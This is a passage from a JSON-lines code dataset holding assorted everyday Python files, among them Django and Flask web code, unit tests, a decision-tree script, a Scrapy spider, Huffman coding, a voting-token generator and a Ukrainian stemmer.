statistics.mean(data)\n\n\ndef efficiency_gap(election_results):\n \"\"\"\n Computes the efficiency gap for the given ElectionResults.\n A positive value indicates an advantage for the first party listed\n in the Election's parties_to_columns dictionary.\n \"\"\"\n party1, party2 = election_results.totals_for_party.values()\n wasted_votes_by_part = {\n part: wasted_votes(party1[part], party2[part]) for part in party1\n }\n total_votes = sum(party1.values()) + sum(party2.values())\n numerator = sum(waste2 - waste1 for waste1, waste2 in wasted_votes_by_part.values())\n return numerator / total_votes\n\n\ndef wasted_votes(party1_votes, party2_votes):\n \"\"\"\n Computes the wasted votes for each party in the given race.\n :party1_votes: the number of votes party1 received in the race\n :party2_votes: the number of votes party2 received in the race\n \"\"\"\n total_votes = party1_votes + party2_votes\n if party1_votes > party2_votes:\n party1_waste = party1_votes - total_votes / 2\n party2_waste = party2_votes\n else:\n party2_waste = party2_votes - total_votes / 2\n party1_waste = party1_votes\n return party1_waste, party2_waste\n","sub_path":"rundmcmc/scores.py","file_name":"scores.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"30372853","text":"from django.http import HttpResponseRedirect, HttpResponse\nfrom mosu.home.models import Union\nfrom mosu.home.models import get_or_none\n\n\ndef single_photo(request):\n if request.method == 'POST':\n union_id = int(request.POST.get(\"union_id\",0))\n union = get_or_none(Union, id=union_id)\n\n if union:\n union.icon = request.FILES['imgInp']\n union.save()\n return HttpResponseRedirect('/main/')\n return HttpResponseRedirect('/main/')","sub_path":"mosu/utils/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"191689200","text":"import sys\nimport os\nsys.path.insert(0, '/home/russ/Desktop/workoutApp/api/')\n\nimport unittest\nfrom backend.controller import userController, DatesController\nfrom model import users,workouts\nfrom backend import create_app\nimport unittest\nfrom datetime import datetime\nfrom flask_api import status\nimport json\n\n\n\nclass ScheduleWorkout(unittest.TestCase):\n\tdef setUp(self):\n\t\tapp = create_app()\n\t\tapp.config['TESTING'] = True\n\t\tself.app = app.test_client()\n\t\tapp.app_context().push()\n\t\tusers.db.create_all()\n\t\t\n\tdef tearDown(self):\n\t\tusers.db.session.remove()\n\t\tusers.db.drop_all()\n\t\n\t# checks if user was created\n\tdef test_scheduleNewWorkout(self):\n\t\tnewUser = {\n\t\t\t\"username\": \"bob123\",\n\t\t\t\"email\": \"bob123@email.com\",\n\t\t\t\"password\": \"1234567\",\n\t\t\t\"fname\": \"Bob\",\n\t\t\t\"lname\": \"TheBuilder\",\n\t\t\t\"gender\": \"male\",\n\t\t\t\"height\": 5.6,\n\t\t\t\"heightUnit\": \"ft\",\n\t\t\t\"weight\": 156.0,\n\t\t\t\"weightUnit\": \"lb\",\n\t\t\t\"bmi\": 20.0 \n\t\t}\n\n\t\tnewWorkout = {\n\t\t\t\"username\" : \"bob123\", \n\t\t\t\"date\": \"27-2-2018\", \n\t\t\t\"time\": \"2:00pm\", \n\t\t\t\"workout\":\"chest\"\n\t\t} \n\n\t\tsets = [{\n\t\t\t\"username\" : \"bob123\", \n\t\t\t\"date\": \"27-2-2018\", \n\t\t\t\"time\": \"2:00pm\", \n\t\t\t\"workout\":\"chest\",\n\t\t\t\"exerciseName\" : \"chest Press\",\n\t\t\t\"tag\": \"weight lifting\",\n\t\t\t\"bodyPart\" : [\"chest\",\"tricipes\"],\n\t\t\t\"setNum\" : 1,\n\t\t\t\"reps\" : 10,\n\t\t\t\"weight\" : 50,\n\t\t\t\"weightUnit\" : \"lb\"\n\n\t\t}]\n\n\t\tuserController.createUser(newUser)\n\t\tDatesController.scheduleNewWorkout(newWorkout)\n\t\tDatesController.enterExercise(sets[0])\n\t\tDatesController.enterSetWeight(sets)\n\t\t\n\t\tuser = users.User.query.filter_by(username = 'bob123').first()\n\t\tcheckWorkout = workouts.WorkoutName.query.filter_by(name = \"chest\").first()\n\t\tcheckDate = workouts.Datetime.query.filter_by(datetime = datetime.strptime(\"27-2-2018\" + \" \" + \"2:00pm\", '%d-%m-%Y %I:%M%p')).first()\n\t\tcheckDateJoin = workouts.DateUserWorkoutJoin.query.filter_by(user_id = user.id).first()\n\t\tgetExercise = workouts.Exercise.query.filter_by(name = \"chest Press\").first()\n\t\texerciseJoin = workouts.ExerciseDateJoin.query.filter_by(dateJoin_id = checkDateJoin.id, exercise_id = getExercise.id).first()\n\t\t\n\t\tgetPart1 = workouts.BodyPart.query.filter_by(name = \"chest\").first()\n\t\tgetPart2 = workouts.BodyPart.query.filter_by(name = \"tricipes\").first()\n\t\tgetBodyExerciseJoin = workouts.BodyPartExerciseJoin.query.filter_by(exercise_id = getExercise.id, bodyPart_id =getPart1.id).first()\n\t\t\n\n\t\tself.assertTrue(getExercise is not None)\n\t\t\n\t\tself.assertTrue(checkDateJoin is not None)\n\t\tself.assertTrue(getExercise is not None)\n\t\tself.assertTrue(getExercise.name == \"chest Press\")\n\t\tself.assertTrue(exerciseJoin is not None)\n\t\tself.assertTrue(getPart1.name == \"chest\")\n\t\tself.assertTrue(getPart2.name == \"tricipes\")\n\t\tself.assertTrue(getBodyExerciseJoin is not None)\n\n\nclass newExercise(unittest.TestCase):\n\tdef setUp(self):\n\t\tapp = create_app()\n\t\tapp.config['TESTING'] = True\n\t\tself.app = app.test_client()\n\t\tapp.app_context().push()\n\t\tusers.db.create_all()\n\t\t\n\tdef tearDown(self):\n\t\tusers.db.session.remove()\n\t\tusers.db.drop_all()\n\t\n\t# checks if user was created\n\tdef test_newExercise(self):\n\t\texercise = {\n\t\t\t\"exerciseName\" : \"chest press\",\n\t\t\t\"tag\" : \"weight lifting\",\n\t\t\t\"bodyPart\" : [\"chest\"]\n\t\t}\n\n\t\tDatesController.newExercise(exercise)\n\t\tgetExercise = workouts.Exercise.query.filter_by(name = \"chest Press\").first()\n\n\t\tgetPart1 = workouts.BodyPart.query.filter_by(name = \"chest\").first()\n\t\tgetBodyExerciseJoin = workouts.BodyPartExerciseJoin.query.filter_by(exercise_id = getExercise.id, bodyPart_id =getPart1.id).first()\n\n\t\tself.assertTrue(getExercise is not None)\n\t\tself.assertTrue(getExercise.name == \"chest press\")\n\t\tself.assertTrue(getPart1.name == \"chest\")\n\t\tself.assertTrue(getBodyExerciseJoin is not None)\n\n\nclass newExerciseRoutes(unittest.TestCase):\n\tdef setUp(self):\n\t\tapp = create_app()\n\t\tapp.config['TESTING'] = True\n\t\tself.app = app.test_client()\n\t\tapp.app_context().push()\n\t\tusers.db.create_all()\n\t\t\n\tdef tearDown(self):\n\t\tusers.db.session.remove()\n\t\tusers.db.drop_all()\n\t\n\t# checks if user was created\n\tdef test_newExerciseRoutes(self):\n\t\texercise = {\n\t\t\t\"exerciseName\" : \"chest press\",\n\t\t\t\"tag\" : \"weight lifting\",\n\t\t\t\"bodyPart\" : [\"chest\"]\n\t\t}\n\n\t\t# DatesController.newExercise(exercise)\n\t\t\n\n\t\t\n\t\tresponse = self.app.post('/date/new/exercise',data=json.dumps(exercise), content_type='application/json', follow_redirects=True)\n\t\t\n\t\tgetExercise = workouts.Exercise.query.filter_by(name = \"chest Press\").first()\n\t\tgetPart1 = workouts.BodyPart.query.filter_by(name = \"chest\").first()\n\t\tgetBodyExerciseJoin = workouts.BodyPartExerciseJoin.query.filter_by(exercise_id = getExercise.id, bodyPart_id =getPart1.id).first()\n\t\tcheckUser = user = users.User.query.filter_by(username = 'bob123').first()\n\t\t\n\t\tself.assertTrue(response.status_code == 201)\n\t\tself.assertTrue(checkUser is None)\n\t\tself.assertTrue(getExercise is not None)\n\t\tself.assertTrue(getExercise.name == \"chest press\")\n\t\tself.assertTrue(getPart1.name == \"chest\")\n\t\tself.assertTrue(getBodyExerciseJoin is not None)\n\nif __name__ == '__main__':\n\tunittest.main() \n","sub_path":"api/backend/controller/Tests/bodyPartsTest.py","file_name":"bodyPartsTest.py","file_ext":"py","file_size_in_byte":5006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"452933097","text":"from django.db import models\nfrom app.repositorio.models import Repositorio\n\n\nclass Log(models.Model):\n\n repositorio = models.ForeignKey(Repositorio, on_delete=models.CASCADE, null=False, blank=False)\n commit = models.CharField(\"Commit\", max_length=45, null=False, blank=False)\n rasch = models.CharField(\"Rasch\", max_length=45, null=False, blank=False)\n created_at = models.DateTimeField(\"Criado em\", auto_now_add=True, null=False, blank=False)\n updated_at = models.DateTimeField(\"Atualizado em\", auto_now=True)\n \n \n class Meta:\n verbose_name = 'Log'\n verbose_name_plural = 'Logs'\n ordering = ('created_at',)\n\n\n def __str__(self):\n return self.commit","sub_path":"app/logs/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"229324972","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Time : 18-8-12 下午4:44\n# @Author : Shark\n# @File : clinet.py\n# @Software: PyCharm\nfrom flask import request\n\nfrom app.libs.enums import ClientTypeEnum\nfrom app.libs.error_code import ClientTypeError\nfrom app.libs.redprint import RedPrint\nfrom app.validatprs.forms import ClientForm, UserEmailForm\n\napi = RedPrint('client')\n\n\n@api.route('/register', method=['POST'])\ndef create_client():\n data = request.json\n form = ClientForm(data=data)\n if form.validate():\n promise = {\n ClientTypeEnum.USER_EMAIL: __register_user_by_email\n }\n promise[form.type.data]()\n\n else:\n raise ClientTypeError()\n\n return '添加成功'\n\n\ndef __register_user_by_email():\n form = UserEmailForm(data=request.json)\n if form.validate():\n User.register_by_email(form.nickname.data, form.account.data, form.secret.data)\n","sub_path":"flask_/api/app/api/v1/clinet.py","file_name":"clinet.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"57948341","text":"import pendulum\nfrom app.api import api\nfrom flask import request, jsonify\nfrom flask_login import login_required\nfrom app.api.helpers import not_found\nfrom app.api.services import domain_service, key_values_service\n\n\n@api.route('/domains', methods=['GET'])\n@login_required\ndef get_domains():\n domains = []\n for domain in domain_service.get_active_domains():\n domains.append(domain.serialize())\n return jsonify({'domains': domains})\n\n\n@api.route('/domains/', methods=['GET'])\n@login_required\ndef get_domain(domain_id):\n domain = domain_service.get_by_name_or_id(domain_id, show_legacy=False)\n if not domain:\n return not_found('Domain does not exist')\n\n data = domain.serialize()\n\n data['criteriaEnforcementCutoffDate'] = None\n key_value = key_values_service.get_by_key('criteria_enforcement_cutoff_date')\n if key_value:\n data['criteriaEnforcementCutoffDate'] = (\n pendulum.parse(key_value['data']['value'], tz='Australia/Canberra').isoformat()\n )\n\n return jsonify(data)\n","sub_path":"app/api/views/domains.py","file_name":"domains.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"580254125","text":"\n# init accuracy, max loop, and loop count\n_accuracy = 0.0\n_maxLoop = 10000\n_loopCount = 0\n_timeUpdate = 0\n\n# read csv using pandas library\nimport pandas as pd\ndf = pd.read_csv(\"data/diabetes.csv\", header=0)\ncols = [\"preg\", \"plas\", \"pres\", \"skin\", \"insu\", \"mass\", \"pedi\", \"age\"]\n# feature importace result per column using ExtraTreesClassifier\n# [ 0.09954061 0.24259426 0.09109709 0.08101766 0.07893924 0.14250498 0.12221649 0.14208966]\n# reduced columns based on feature selection == [\"preg\", \"plas\", \"pres\", \"mass\", \"pedi\", \"age\"]\ndf[\"class\"] = df[\"class\"].apply(lambda x: 0 if x == 'tested_negative' else 1)\n\nwhile _loopCount < _maxLoop :\n # print every 1000 iteration\n if _loopCount % 1000 == 0 : \n print (\"Current loop count: {} \\nNumber of time tree updated: {} \\nBest accuracy: {} \\n\".format(_loopCount, _timeUpdate, _accuracy))\n\n # split test and train data\n from sklearn.model_selection import train_test_split\n train_df, test_df = train_test_split(df, test_size = 0.5)\n train_cols = train_df[list(cols)].values\n train_target = train_df[\"class\"].values\n test_cols = test_df[list(cols)].values\n test_target = test_df[\"class\"].values\n\n # build decision tree using training data\n from sklearn import tree\n clf = tree.DecisionTreeClassifier(criterion=\"entropy\", max_depth=3)\n clf.fit(train_cols, train_target)\n\n # test decision tree using test data\n predict = clf.predict(test_cols)\n false_prediction = 0\n for index, val in enumerate (predict) :\n if test_target[index] != val :\n false_prediction = false_prediction + 1\n\n # calculate new accuracy\n _newAccuracy = float (len (train_cols) - false_prediction) / float (len (test_cols)) * 100\n\n # check if this tree is better than the previous tree\n if _newAccuracy > _accuracy :\n # renew accuracy and add update count\n _accuracy = _newAccuracy\n _timeUpdate = _timeUpdate + 1\n\n # save train data\n train_df.to_csv(\"data/diabetes_train.csv\")\n # save_train = open (\"data/jantung_train.csv\", 'w')\n # save_train.write(train_cols)\n\n # save test data\n test_df.to_csv(\"data/diabetes_test.csv\")\n # save_test = open (\"data/jantung_test.csv\", 'w')\n # save_test.write(test_df.values)\n\n # save tree\n from sklearn.externals.six import StringIO\n with open (\"result/diabetes.dot\", 'w') as f :\n f = tree.export_graphviz (clf, out_file=f, feature_names=cols)\n \n # export tree\n import os\n os.system('dot -Tpng result/diabetes.dot -o result/diabetes.png')\n \n # increment loop counter\n _loopCount = _loopCount + 1\n\nprint (\"Final accuracy: {} \\nDone.\".format(_accuracy))","sub_path":"diabetes_decision_tree_builder.py","file_name":"diabetes_decision_tree_builder.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"23862420","text":"#!/usr/bin/env python3\nimport scrapy\nimport pandas as pd\nimport datetime as dt\n\n\nclass NewsSpider(scrapy.Spider):\n\n\tname = 'newsspider'\n\tstart_urls = ['http://ekurd.net/all-news']\n\n\n\tdef __init__(self):\n\t\t\n\t\tself.out = pd.DataFrame(columns=[\n\t\t\t'Date', \n\t\t\t'Title', \n\t\t\t'Description', \n\t\t\t'URL', \n\t\t\t'Domain',\n\t\t\t'SubDomain',\n\t\t\t'DownloadDate',\n\t\t\t'Type'])\n\t\tself.dates = []\n\t\tself.titles = []\n\t\tself.descrips = []\n\t\tself.urls = []\n\t\tself.domain = []\n\t\tself.subdomain = []\n\t\tself.downloadate = []\n\t\tself.type = []\n\t\tself.now = str(dt.datetime.now().date())\n\n\n\tdef parse(self, response):\n\n\t\tSET_SELECTOR = '.entry-list'\n\n\t\t# Define the link to the next page\n\t\tNEXT_PAGE_SELECTOR = \"//a[@class='nextpostslink']/@href\"\n\t\t# Extract the link using xpath\n\t\tnext_page = response.xpath(NEXT_PAGE_SELECTOR).extract_first()\n\t\t\n\t\tfor news in response.css(SET_SELECTOR):\n\n\t\t\tDATE_SELECTOR = 'aside a time::text'\n\t\t\tTITLE_SELECTOR = 'h2 a ::text'\n\t\t\tDESCRIP_SELECTOR = 'p ::text'\n\t\t\tURL_SELECTOR = 'h2 a ::attr(href)'\n\n\t\t\tself.dates.append(news.css(DATE_SELECTOR).extract()[0])\n\t\t\tself.titles.append(news.css(TITLE_SELECTOR).extract()[0])\n\t\t\tself.descrips.append(news.css(DESCRIP_SELECTOR).extract()[0])\n\t\t\tself.urls.append(news.css(URL_SELECTOR).extract()[0])\n\t\t\tself.domain.append('ekurd')\n\t\t\tself.subdomain.append('all')\n\t\t\tself.downloadate.append(self.now)\n\t\t\tself.type.append('archive')\n\n\t\t\tprint('ekurd', 'all')\n\t\t\tprint('----', news.css(DATE_SELECTOR).extract()[0])\n\n\t\tout2 = pd.DataFrame(columns=[\n\t\t\t'Date', \n\t\t\t'Title', \n\t\t\t'Description', \n\t\t\t'URL', \n\t\t\t'Domain',\n\t\t\t'SubDomain',\n\t\t\t'DownloadDate',\n\t\t\t'Type'])\n\n\t\tout2['Date'] = self.dates\n\t\tout2['Title'] = self.titles\n\t\tout2['Description'] = self.descrips\n\t\tout2['URL'] = self.urls\n\t\tout2['Domain'] = self.urls\n\t\tout2['SubDomain'] = self.urls\n\t\tout2['DownloadDate'] = self.urls\n\t\tout2['Type'] = self.urls\n\n\t\tfor c in out2.columns:\n\t\t\tout2[c] = out2[c].str.encode('utf-8')\n\n\t\tself.out = pd.concat([self.out, out2], axis=0)\n\n\t\t# Put a conditional if there is a next page url then rerun the parser\n\t\tif next_page:\n\t\t\tyield scrapy.Request(\n\t\t\t\tresponse.urljoin(next_page),\n\t\t\t\tcallback=self.parse\n\t\t\t)\n\n\t\telse:\n\t\t\tself.out.loc[:, [\n\t\t\t'Date', \n\t\t\t'Title', \n\t\t\t'Description', \n\t\t\t'URL', \n\t\t\t'Domain',\n\t\t\t'SubDomain',\n\t\t\t'DownloadDate',\n\t\t\t'Type']]\n\t\t\tself.out = self.out.drop_duplicates()\n\t\t\tself.out.to_csv('../data/ekurd_spider_{}.csv'.format(self.now))\n","sub_path":"spiders/scrapy_ekurd.py","file_name":"scrapy_ekurd.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"109884082","text":"class BankAccount:\n def __init__(self,accountNumber,name):\n self.accountNumber = accountNumber\n self.name = name\n self.balance = 0\n self.currentTransaction = 1\n self.transactionHistory = {self.currentTransaction:\"Account Created\"}\n \n def deposit(self,depositAmount):\n self.balance = self.balance + depositAmount\n self.currentTransaction = self.currentTransaction + 1\n self.transactionHistory[self.currentTransaction] = \"Deposit of $\" + str(depositAmount)\n\n def withdraw(self,withdrawAmount):\n self.balance = self.balance - withdrawAmount\n self.currentTransaction = self.currentTransaction + 1\n self.transactionHistory[self.currentTransaction] = \"Withdrawl of $\" + str(withdrawAmount)\n\n def printDetails(self):\n print(\"Account Details for account #\",self.accountNumber,\":\",sep=\"\")\n print(\"Name:\",self.name)\n print(\"Balance: $\",self.balance,sep=\"\",end=\"\\n\")\n #print(self.transactionHistory)\n for k in self.transactionHistory:\n print(k,\"=>\",self.transactionHistory[k])\n print()\n\n\n\ndef main():\n account1 = BankAccount(12345,\"Kristina Keenan\")\n account1.deposit(100)\n account1.printDetails()\n \n account2 = BankAccount(67890, \"Liz Lavin\")\n account2.deposit(200)\n account2.withdraw(50)\n account2.printDetails()\n\n \n\nmain()\n","sub_path":"4_27_15.py","file_name":"4_27_15.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"366846645","text":"from itertools import groupby\nimport heapq as hq\n\n# -1 if ab\n\n\ndef cmp(a, b, flag):\n\n if(a == b):\n return False\n else:\n if(flag == \"gt\"):\n if(a < b):\n return False\n else:\n return True\n else:\n if(a < b):\n return True\n else:\n return False\n\n\nclass Node(object):\n left = None\n right = None\n item = None\n weight = 0\n\n def __init__(self, i, w):\n self.item = i\n self.weight = w\n\n def setChildren(self, ln, rn):\n self.left = ln\n self.right = rn\n\n def __repr__(self):\n return \"%s - %s -- %s _ %s\" % (self.item, self.weight, self.left, self.right)\n\n # def __cmp__(self, a):\n # return cmp(self.weight, a.weight)\n\n def __lt__(self, other):\n return cmp(self.weight, other.weight, flag=\"lt\")\n\n def __gt__(self, other):\n return cmp(self.weight, other.weight, flag=\"gt\")\n\n\nclass Huffboth():\n root = Node(0, 0)\n codes = {}\n\n def __init__(self):\n self.root = Node(0, 0)\n\n def Encode(self, input):\n itemqueue = [Node(a, len(list(b))) for a, b in groupby(sorted(input))]\n\n hq.heapify(itemqueue)\n index = len(itemqueue)\n while len(itemqueue) > 1:\n l = hq.heappop(itemqueue)\n r = hq.heappop(itemqueue)\n n = Node(None, r.weight+l.weight)\n\n n.setChildren(l, r)\n hq.heappush(itemqueue, n)\n if(index == 2):\n self.root = n\n # print(self.root)\n index = index - 1\n\n self.codes = {}\n\n def codeIt(s, node):\n if node.item:\n if not s:\n self.codes[node.item] = \"0\"\n else:\n self.codes[node.item] = s\n else:\n codeIt(s+\"0\", node.left)\n codeIt(s+\"1\", node.right)\n\n codeIt(\"\", itemqueue[0])\n print(f'Encoded : {\"\".join([self.codes[a] for a in input])}')\n return \"\".join([self.codes[a] for a in input])\n\n def Decode(self, s):\n root = self.root\n current = root\n result = ''\n print(s)\n for code in s:\n if int(code) == 0:\n current = current.left\n else:\n current = current.right\n if current.left == None and current.right == None:\n result += str(current.item)\n current = root\n print(f\"Decoded: {result}\")\n return result\n\n def getTree(self):\n return self.codes\n\n# obj = Huffboth()\n\n# encoded = obj.huffman(input)\n# print(encoded)\n# print(input)\n# obj.decodeHuff(encoded[1])\n# ({'a': '0', 'c': '111', 'b': '10', 'd': '110'}, '0010010111010111110')\n","sub_path":"classBased.py","file_name":"classBased.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"206991432","text":"#!/usr/bin/python3\n\nimport csv\nimport secrets\nimport base64\nimport random\n\ntokenlen_short=2\ntokenlen_full=tokenlen_short+3\n\ntokens_short = []\ntokens_full = []\n\ndef genToken():\n global tokens_short, tokens_full\n tokennotfound = True\n x=bytes([0])\n xy=bytes([0])\n while tokennotfound:\n x=base64.b16encode(secrets.token_bytes(tokenlen_short)).decode(\"utf8\")\n y=base64.b16encode(secrets.token_bytes(tokenlen_full-tokenlen_short)).decode(\"utf8\")\n xy=y+\"-\"+x\n tokennotfound = x in tokens_short or xy in tokens_full or len(xy) != 11 ## ensure tokens are unique and of len 11\n tokens_short += [y]\n tokens_full += [xy]\n return xy\n\nwith open(\"./data/input_r3_voters_emails.csv\") as cf:\n with open(\"./data/output_for_tp1_tokens_for_r3_voters.csv\",\"w+\") as cout:\n cs = csv.reader(cf)\n cwet = csv.writer(cout)\n for row in cs:\n newrow = [row[0],genToken()]\n cwet.writerow(newrow)\n\n# with open(\"./data/output_for_tp2_r3_fulltokens_only.csv\",\"w+\") as cout:\n# cwt = csv.writer(cout)\n# ## permutate list so identity can't be guessed from order in list (e.g. alphabetic ordered e-mails)\n# random.shuffle(tokens_full)\n# for tk in tokens_full:\n# cwt.writerow([tk])\n\n# TP2 also only has the short tokens!\nwith open(\"./data/output_for_all_shorttokens_allowed_to_vote.csv\",\"w+\") as cout:\n cwst = csv.writer(cout)\n ## permutate list so identity can't be guessed from order in list (e.g. alphabetic ordered e-mails)\n random.shuffle(tokens_short)\n for tk in tokens_short:\n cwst.writerow([tk.decode(\"utf8\")])\n\n","sub_path":"token_gen.py","file_name":"token_gen.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"326828097","text":"from sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import Mail\n\n\ndef send_token(email, token):\n send_grid_api_client = SendGridAPIClient()\n _mail = Mail(\n from_email=\"foodie@norepy.com\",\n to_emails=email,\n subject=\"Reseteo de contraseña\",\n plain_text_content=f'Tu token de recuperacion de contraseña es {token}'\n )\n send_grid_api_client.client.mail.send.post(request_body=_mail.get())\n","sub_path":"src/services/send_email_service.py","file_name":"send_email_service.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"478889493","text":"import os\nimport re\nimport fnmatch\nimport numpy as np\nclass Preprocessing:\n @staticmethod\n def read_texts_in_dictionaries(directory):\n i = 0\n d = {}\n d_name = {}\n for file_name in os.listdir(directory + '/'):\n if fnmatch.fnmatch(file_name, '*.txt'):\n with open(directory + '/' + file_name, 'r', encoding='utf-8', errors='ignore') as file:\n data = file.read().replace('\\n', '')\n d[\"text{0}\".format(i)] = re.sub(r'\\{[^)]*\\}|\\,|\\.|\\»|\\«|\\—|\\(|\\)|\\s(а|та|в|i|:|й|той|ті|y|\\+|\\-)\\s',\n '', data)\n d_name[\"text{0}\".format(i)] = file_name\n i = i + 1\n return d, d_name\n\n @staticmethod\n def read_stop_words_in_list(file):\n stop_words_list = []\n with open(file, 'r', encoding='utf-8', errors=\"ignore\") as file:\n stop_words_list.append(file.read().split('\\n\\n'))\n arr = np.array(stop_words_list)\n stop_words_list = arr.flatten().tolist()\n\n return stop_words_list\n\n @staticmethod\n def append_texts_tockens_in_dictionary(texts_dictionary):\n import nltk\n d_tockens = {}\n # nltk.download('punkt')\n for key, value in texts_dictionary.items():\n d_tockens.setdefault(key, nltk.word_tokenize(value))\n return d_tockens\n\n @staticmethod\n def stemmatize_texts_tockens(tockens_dictionary):\n d_stems = {}\n for key, value in tockens_dictionary.items():\n stems = []\n for tocken in value:\n stems.append(UkrainianStemmer.stem_word(tocken))\n d_stems.setdefault(key, stems)\n return d_stems\n\n @staticmethod\n def stemmatize_stop_words_list(stop_words_list):\n stop_stems_list = []\n for word in stop_words_list:\n stop_stems_list.append(UkrainianStemmer.stem_word(word))\n return stop_stems_list\n\n @staticmethod\n def stop_words_stems_dictionary_cleaning(stems_dictionary, stop_stems_list):\n d_clean_stems = {}\n for key, value in stems_dictionary.items():\n for stem in stop_stems_list:\n if stem in value:\n value.remove(stem)\n d_clean_stems.setdefault(key, value)\n texts = list(d_clean_stems.values())\n\n return texts\n\n @staticmethod\n def sampling(texts, sample_size):\n samples = []\n for text in texts:\n sample = np.random.choice(text, sample_size)\n samples.append(sample)\n return samples\n\n\n\n\nclass UkrainianStemmer:\n __vowel = r'аеиоуюяіїє' # http://uk.wikipedia.org/wiki/Голосний_звук\n __perfectiveground = r'(ив|ивши|ившись|ыв|ывши|ывшись((?<=[ая])(в|вши|вшись)))$'\n # http://uk.wikipedia.org/wiki/Рефлексивне_дієслово\n __reflexive = r'(с[��ьи])$'\n # http://uk.wikipedia.org/wiki/Прикметник + http://wapedia.mobi/uk/Прикметник\n __adjective = r'(ими|ій|ий|а|е|ова|ове|ів|є|їй|єє|еє|я|ім|ем|им|ім|их|іх|ою|йми|іми|у|ю|ого|ому|ої)$'\n # http://uk.wikipedia.org/wiki/Дієприкметник\n __participle = r'(ий|ого|ому|им|ім|а|ій|у|ою|ій|і|их|йми|их)$'\n # http://uk.wikipedia.org/wiki/Дієслово\n __verb = r'(сь|ся|ив|ать|ять|у|ю|ав|али|учи|ячи|вши|ши|е|ме|ати|яти|є)$'\n # http://uk.wikipedia.org/wiki/Іменник\n __noun = r'(а|ев|ов|е|ями|ами|еи|и|ей|ой|ий|й|иям|ям|ием|ем|ам|ом|о|у|ах|иях|ях|ы|ь|ию|ью|ю|ия|ья|я|і|ові|ї|ею|єю|ою|є|еві|ем|єм|ів|їв|ю)$'\n __rvre = r'[аеиоуюяіїє]'\n __derivational = r'[^аеиоуюяіїє][аеиоуюяіїє]+[^аеиоуюяіїє]+[аеиоуюяіїє].*(?<=о)сть?$'\n __RV = ''\n\n @staticmethod\n def ukstemmer_search_preprocess(word):\n word = word.lower()\n word = word.replace(\"'\", \"\")\n word = word.replace(\"ё\", \"е\")\n word = word.replace(\"ъ\", \"ї\")\n return word\n\n @staticmethod\n def s(st, reg, to):\n orig = st\n UkrainianStemmer.__RV = re.sub(reg, to, st)\n return (orig != UkrainianStemmer.__RV)\n\n @staticmethod\n def stem_word(word):\n word = UkrainianStemmer.ukstemmer_search_preprocess(word)\n if not re.search('[аеиоуюяіїє]', word):\n stem = word\n else:\n p = re.search(UkrainianStemmer.__rvre, word)\n start = word[0:p.span()[1]]\n UkrainianStemmer.__RV = word[p.span()[1]:]\n\n # Step 1\n if not UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__perfectiveground, ''):\n\n UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__reflexive, '')\n if UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__adjective, ''):\n UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__participle, '')\n else:\n if not UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__verb, ''):\n UkrainianStemmer.s(UkrainianStemmer.__RV, UkrainianStemmer.__noun, '')\n # Step 2\n UkrainianStemmer.s(UkrainianStemmer.__RV, 'и$', '')\n\n # Step 3\n if re.search(UkrainianStemmer.__derivational, UkrainianStemmer.__RV):\n UkrainianStemmer.s(UkrainianStemmer.__RV, 'ость$', '')\n\n # Step 4\n if UkrainianStemmer.s(UkrainianStemmer.__RV, 'ь$', ''):\n UkrainianStemmer.s(UkrainianStemmer.__RV, 'ейше?$', '')\n UkrainianStemmer.s(UkrainianStemmer.__RV, 'нн$', u'н')\n\n stem = start + UkrainianStemmer.__RV\n return stem\n","sub_path":"preprocessing/preprocessing_utils.py","file_name":"preprocessing_utils.py","file_ext":"py","file_size_in_byte":5965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
